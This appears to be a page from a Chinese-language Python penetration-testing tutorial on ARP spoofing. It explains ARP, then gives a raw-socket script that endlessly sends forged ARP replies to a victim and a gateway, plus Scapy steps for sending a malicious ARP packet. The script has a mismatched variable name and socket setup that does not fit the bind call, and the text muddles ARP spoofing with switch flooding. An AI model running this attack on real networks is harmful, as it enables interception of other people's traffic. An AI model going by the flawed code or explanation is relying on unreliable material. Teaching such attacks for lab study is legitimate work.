- Python渗透测试教程
- Python渗透测试 - 首页
- 简介
- 评估方法
- 网络通信入门
- 套接字及其方法
- Python网络扫描器
- 网络数据包嗅探
- ARP欺骗
- 无线网络渗透测试
- 应用层
- 客户端验证
- DoS & DDoS攻击
- SQLi Web攻击
- XSS Web攻击
- 有用资源
- 快速指南
- 有用资源
- 讨论
Python渗透测试 - ARP欺骗
ARP可以定义为一种无状态协议,用于将互联网协议(IP)地址映射到物理机器地址。
ARP的工作原理
在本节中,我们将了解ARP的工作原理。请考虑以下步骤以了解ARP的工作方式:
步骤1 - 首先,当一台机器想要与另一台机器通信时,它必须在其ARP表中查找物理地址。
步骤2 - 如果它找到机器的物理地址,则数据包在转换为正确的长度后,将发送到目标机器。
步骤3 - 但如果表中没有找到IP地址的条目,则ARP_request将广播到网络上。
步骤4 - 现在,网络上的所有机器都将比较广播的IP地址与MAC地址,如果网络中的任何机器识别出该地址,它将响应ARP_request以及其IP和MAC地址。此类ARP消息称为ARP_reply。
步骤5 - 最后,发送请求的机器将地址对存储在其ARP表中,并且整个通信将进行。
什么是ARP欺骗?
它可以定义为一种攻击类型,其中恶意攻击者在本地网络上发送伪造的ARP请求。ARP中毒也称为ARP欺骗。可以通过以下几点理解:
首先,ARP欺骗为了使交换机过载,将构造大量伪造的ARP请求和回复数据包。
然后交换机将设置为转发模式。
现在,ARP表将被欺骗的ARP响应淹没,以便攻击者可以嗅探所有网络数据包。
使用Python实现
在本节中,我们将了解ARP欺骗的Python实现。为此,我们需要三个MAC地址——第一个是受害者的,第二个是攻击者的,第三个是网关的。除此之外,我们还需要使用ARP协议的代码。
让我们导入所需的模块,如下所示:
import socket import struct import binascii
现在,我们将创建一个套接字,它将具有三个参数。第一个参数告诉我们关于数据包接口的信息(对于Linux来说是PF_PACKET,对于Windows来说是AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们感兴趣的协议(这里0x0800用于IP协议)。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800)) s.bind(("eth0",socket.htons(0x0800)))
我们现在将提供攻击者、受害者和网关机器的MAC地址:
attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\x00\x0C\x29\x2E\x84\x5A' gatewaymac = '\x00\x50\x56\xC0\x00\x28'
我们需要提供ARP协议的代码,如下所示:
code ='\x08\x06'
两个以太网数据包,一个用于受害者机器,另一个用于网关机器,已如下构建:
ethernet1 = victimmac + attckmac + code ethernet2 = gatewaymac + attckmac + code
以下代码行按照ARP报文头的顺序排列:
htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02'
现在我们需要提供网关机器和受害者机器的IP地址(假设我们有以下网关和受害者机器的IP地址):
gateway_ip = '192.168.43.85' victim_ip = '192.168.43.131'
使用socket.inet_aton()方法将上述IP地址转换为十六进制格式。
gatewayip = socket.inet_aton ( gateway_ip ) victimip = socket.inet_aton ( victim_ip )
执行以下代码行以更改网关机器的IP地址。
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip while 1: s.send(victim_ARP) s.send(gateway_ARP)
在Kali Linux上使用Scapy实现
可以使用Kali Linux上的Scapy实现ARP欺骗。按照以下步骤执行相同的操作:
步骤1:攻击者机器的地址
在此步骤中,我们将通过在Kali Linux的命令提示符下运行命令ifconfig来找到攻击者机器的IP地址。
步骤2:目标机器的地址
在此步骤中,我们将通过在Kali Linux的命令提示符下运行命令ifconfig来找到目标机器的IP地址,我们需要在另一台虚拟机上打开该命令提示符。
步骤3:Ping目标机器
在此步骤中,我们需要使用以下命令从攻击者机器ping目标机器:
Ping –c 192.168.43.85(say IP address of target machine)
步骤4:目标机器上的ARP缓存
我们已经知道两台机器使用ARP数据包交换MAC地址,因此在步骤3之后,我们可以在目标机器上运行以下命令以查看ARP缓存:
arp -n
步骤5:使用Scapy创建ARP数据包
我们可以使用Scapy创建ARP数据包,如下所示:
scapy arp_packt = ARP() arp_packt.display()
步骤6:使用Scapy发送恶意ARP数据包
我们可以使用Scapy发送恶意ARP数据包,如下所示:
arp_packt.pdst = “192.168.43.85”(say IP address of target machine) arp_packt.hwsrc = “11:11:11:11:11:11” arp_packt.psrc = ”1.1.1.1” arp_packt.hwdst = “ff:ff:ff:ff:ff:ff” send(arp_packt)
步骤7:再次检查目标机器上的ARP缓存
现在,如果我们再次检查目标机器上的ARP缓存,我们将看到伪造的地址“1.1.1.1”。